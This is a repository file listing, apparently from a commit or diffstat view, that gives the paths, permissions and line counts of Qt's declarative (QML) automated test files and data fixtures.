-rw-r--r--tests/auto/declarative/qdeclarativedebug/tst_qdeclarativedebug.cpp1220
-rw-r--r--tests/auto/declarative/qdeclarativedebugclient/qdeclarativedebugclient.pro9
-rw-r--r--tests/auto/declarative/qdeclarativedebugclient/tst_qdeclarativedebugclient.cpp154
-rw-r--r--tests/auto/declarative/qdeclarativedebughelper/private_headers/qdeclarativedebughelper_p.h71
-rw-r--r--tests/auto/declarative/qdeclarativedebughelper/qdeclarativedebughelper.pro5
-rw-r--r--tests/auto/declarative/qdeclarativedebughelper/tst_qdeclarativedebughelper.cpp122
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/app/app.pro13
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/app/main.cpp69
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.js28
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/data/backtrace1.qml41
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/qdeclarativedebugjs.pro4
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.cpp1443
-rw-r--r--tests/auto/declarative/qdeclarativedebugjs/tst_qdeclarativedebugjs.pro26
-rw-r--r--tests/auto/declarative/qdeclarativedebugservice/qdeclarativedebugservice.pro10
-rw-r--r--tests/auto/declarative/qdeclarativedebugservice/tst_qdeclarativedebugservice.cpp198
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/MyComponent.qml4
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/MyItem.qml4
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/import/Bar.qml2
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/importlib/sublib/Foo.qml2
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/importlib/sublib/qmldir2
-rw-r--r--tests/auto/declarative/qdeclarativedom/data/top.qml6
-rw-r--r--tests/auto/declarative/qdeclarativedom/qdeclarativedom.pro16
-rw-r--r--tests/auto/declarative/qdeclarativedom/tst_qdeclarativedom.cpp1326
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsAssignCorrectlyType.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/AliasBindingsOverrideTargetType3.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/ConstantsOverrideBindings.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/CustomObject.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/MethodsObject.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/NestedTypeTransientErrors.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/ScopeObject.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/SpuriousWarning.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/TypeForDynamicCreation.qml2
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsAssignCorrectly.qml59
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.2.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.3.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasBindingsOverrideTarget.qml28
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasPropertyAndBinding.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.2.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.3.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/aliasWritesOverrideBindings.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.2.qml26
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/assignBasicTypes.qml29
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.2.qml22
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/attachedProperty.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/attachedPropertyScope.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/bindingLoop.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/blank.js0
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/boolPropertiesEvaluateAsBool.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/bug.1.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.1.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/canAssignNullToQObject.2.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/compiled.qml48
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/compositePropertyType.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.1.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.2.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/constantsOverrideBindings.4.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/declarativeToString.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/deferredProperties.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/deferredPropertiesErrors.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/deleteLater.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/deletedEngine.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/deletedObject.qml25
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.helper.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/dynamicCreation.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/dynamicDeletion.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/enums.1.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/enums.2.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/eval.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/exception.js1
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/exceptionClearsOnReeval.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/exceptionProducesWarning2.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/extendedObjectPropertyLookup.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/extensionObjects.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/extensionObjectsPropertyOverride.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/function.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.2.qml73
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionAssignment.js17
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/functionErrors.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.1.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/idShortcutInvalidates.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/in.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include.js8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_callback.js11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_callback.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_pragma.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_inner.js5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_pragma_outer.js6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_remote.js26
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_remote.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.js13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_remote_missing.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_shared.js12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/include_shared.qml22
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectArg.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/invokableObjectRet.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/js/include2.js4
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/js/include3.js3
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/jsObject.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.js6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/libraryScriptAssert.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/listProperties.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/listToVariant.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision3.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevision4.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors2.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/metaobjectRevisionErrors3.qml36
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/methods.1.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/methods.2.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/methods.3.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/methods.4.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/methods.5.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/multiEngineObject.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.2.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/noSpuriousWarningsAtShutdown.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/nonscriptable.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/nullObjectBinding.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/numberAssignment.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/objectName.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/objectsCompareAsEqual.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/outerBindingOverridesInnerBinding.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/ownership.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/propertyAssignmentErrors.qml22
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/propertySplicing.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qlistqobjectMethods.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_10696.qml26
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.js1
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11600.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_11606.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_20648.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtbug_9792.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/qtcreatorbug_1289.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/realToInt.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/regExp.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/remote_file.js2
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scope.2.qml40
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scope.3.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scope.4.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scope.qml44
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.js4
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.1.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.js5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.2.qml16
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.3.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.4.qml12
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.5.qml11
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.js3
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptConnect.6.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.js6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.1.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.2.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.3.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptDisconnect.4.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.js4
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/scriptErrors.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.2.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/selfDeletingBinding.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/sharedAttachedObject.qml16
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/shutdownErrors.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.1.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalAssignment.2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalParameterTypes.qml18
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalTriggeredBindings.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/signalWithUnknownTypes.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/strictlyEquals.qml17
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.2.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/transientErrors.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.2.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/undefinedResetsProperty.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/valueTypeFunctions.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/variantsAssignedUndefined.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/writeAttachedProperty.qml6
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/data/writeRemovesBinding.qml46
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/qdeclarativeecmascript.pro24
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/testtypes.cpp134
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/testtypes.h915
-rw-r--r--tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp3105
-rw-r--r--tests/auto/declarative/qdeclarativeengine/qdeclarativeengine.pro12
-rw-r--r--tests/auto/declarative/qdeclarativeengine/tst_qdeclarativeengine.cpp333
-rw-r--r--tests/auto/declarative/qdeclarativeerror/qdeclarativeerror.pro12
-rw-r--r--tests/auto/declarative/qdeclarativeerror/test.txt3
-rw-r--r--tests/auto/declarative/qdeclarativeerror/tst_qdeclarativeerror.cpp247
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/disabledcontent.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/flickable01.qml4
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/flickable02.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/flickable03.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/flickable04.qml22
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/flickableqgraphicswidget.qml7
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/nestedPressDelay.qml33
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/resize.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/data/wheel.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/qdeclarativeflickable.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeflickable/tst_qdeclarativeflickable.cpp554
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/data/crash.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/data/flipable-abort.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/data/test-flipable.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/qdeclarativeflipable.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeflipable/tst_qdeclarativeflipable.cpp143
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/chain.qml28
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/forceActiveFocus.qml26
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/forcefocus.qml81
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/qtBug13380.qml24
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/signalEmission.qml33
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/test.qml77
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/test2.qml39
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/test3.qml52
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/test4.qml76
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/data/test5.qml84
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/qdeclarativefocusscope.pro13
-rw-r--r--tests/auto/declarative/qdeclarativefocusscope/tst_qdeclarativefocusscope.cpp546
-rw-r--r--tests/auto/declarative/qdeclarativefolderlistmodel/data/basic.qml5
-rw-r--r--tests/auto/declarative/qdeclarativefolderlistmodel/data/dummy.qml1
-rw-r--r--tests/auto/declarative/qdeclarativefolderlistmodel/qdeclarativefolderlistmodel.pro15
-rw-r--r--tests/auto/declarative/qdeclarativefolderlistmodel/tst_qdeclarativefolderlistmodel.cpp152
-rw-r--r--tests/auto/declarative/qdeclarativefontloader/data/daniel.ttfbin0 -> 51984 bytes
-rw-r--r--tests/auto/declarative/qdeclarativefontloader/data/dummy.ttf0
-rw-r--r--tests/auto/declarative/qdeclarativefontloader/data/tarzeau_ocr_a.ttfbin0 -> 24544 bytes
-rw-r--r--tests/auto/declarative/qdeclarativefontloader/qdeclarativefontloader.pro17
-rw-r--r--tests/auto/declarative/qdeclarativefontloader/tst_qdeclarativefontloader.cpp230
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/attachedSignals.qml27
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/displaygrid.qml39
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/footer.qml40
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview-enforcerange.qml58
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview-initCurrent.qml52
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview-noCurrent.qml52
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview1.qml66
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview2.qml26
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/gridview3.qml6
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/header.qml40
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/manual-highlight.qml48
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/mirroring.qml43
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/propertychangestest.qml69
-rw-r--r--tests/auto/declarative/qdeclarativegridview/data/setindex.qml29
-rw-r--r--tests/auto/declarative/qdeclarativegridview/qdeclarativegridview.pro16
-rw-r--r--tests/auto/declarative/qdeclarativegridview/tst_qdeclarativegridview.cpp2213
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/aspectratio.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/big.jpegbin0 -> 1700081 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/big256.pngbin0 -> 3566 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/colors.pngbin0 -> 1655 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/colors1.pngbin0 -> 1655 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/green.pngbin0 -> 314 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/heart-win32.pngbin0 -> 12621 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/heart.pngbin0 -> 12577 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/heart.svg55
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/heart200-win32.pngbin0 -> 8062 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/heart200.pngbin0 -> 8063 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/qtbug_16389.qml30
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/qtbug_22125.qml44
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/rect.pngbin0 -> 171 bytes
-rw-r--r--tests/auto/declarative/qdeclarativeimage/data/tiling.qml16
-rw-r--r--tests/auto/declarative/qdeclarativeimage/qdeclarativeimage.pro18
-rw-r--r--tests/auto/declarative/qdeclarativeimage/tst_qdeclarativeimage.cpp839
-rw-r--r--tests/auto/declarative/qdeclarativeimageprovider/qdeclarativeimageprovider.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeimageprovider/tst_qdeclarativeimageprovider.cpp432
-rw-r--r--tests/auto/declarative/qdeclarativeinfo/data/NestedObject.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeinfo/data/nestedQmlObject.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeinfo/data/qmlObject.qml8
-rw-r--r--tests/auto/declarative/qdeclarativeinfo/qdeclarativeinfo.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeinfo/tst_qdeclarativeinfo.cpp208
-rw-r--r--tests/auto/declarative/qdeclarativeinstruction/qdeclarativeinstruction.pro11
-rw-r--r--tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp609
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/childrenProperty.qml14
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/childrenRect.qml27
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/childrenRectBug.qml23
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/childrenRectBug2.qml53
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/childrenRectBug3.qml15
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/implicitsize.qml19
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/keynavigationtest.qml87
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/keyspriority.qml9
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/keystest.qml24
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/layoutmirroring.qml54
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/mapCoordinates.qml43
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/mouseFocus.qml20
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/propertychanges.qml10
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/qtbug_16871.qml5
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/resourcesProperty.qml21
-rw-r--r--tests/auto/declarative/qdeclarativeitem/data/transformCrash.qml13
-rw-r--r--tests/auto/declarative/qdeclarativeitem/qdeclarativeitem.pro16
-rw-r--r--tests/auto/declarative/qdeclarativeitem/tst_qdeclarativeitem.cpp1256
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/Alias.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/Alias2.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/Alias3.qml12
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/Alias4.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/AliasPropertyChangeSignalsType.qml20
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/ComponentComposite.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/CompositeType.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/CompositeType2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/CompositeType3.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/CompositeType4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/DontDoubleCallClassBeginItem.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/DynamicPropertiesNestedType.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/HelperAlias.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/I18n.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/I18nType30.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/InlineAssignmentsOverrideBindingsType2.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/LocalLast.qml2
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/MyComponent.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/MyCompositeValueSource.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/MyContainerComponent.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/NestedAlias.qml14
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/NestedComponentRoot.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/NestedErrorsType.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/OnCompletedType.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/OnDestructionType.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.1.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.10.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.11.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.2.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.3.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.4.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.5.qml13
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.6.qml8
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.7.qml14
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.8.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/alias.9.qml9
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/aliasPropertiesAndSignals.qml14
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.2.qml10
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/aliasPropertyChangeSignals.qml16
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/allowedRevisionOverloads.qml6
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignBasicTypes.qml27
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignCompositeToType.qml18
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignLiteralSignalProperty.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignLiteralToVariant.qml16
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignObjectToSignal.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignObjectToVariant.qml7
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignQmlComponent.qml4
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignSignal.qml5
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.errors.txt1
-rw-r--r--tests/auto/declarative/qdeclarativelanguage/data/assignToNamespace.qml5
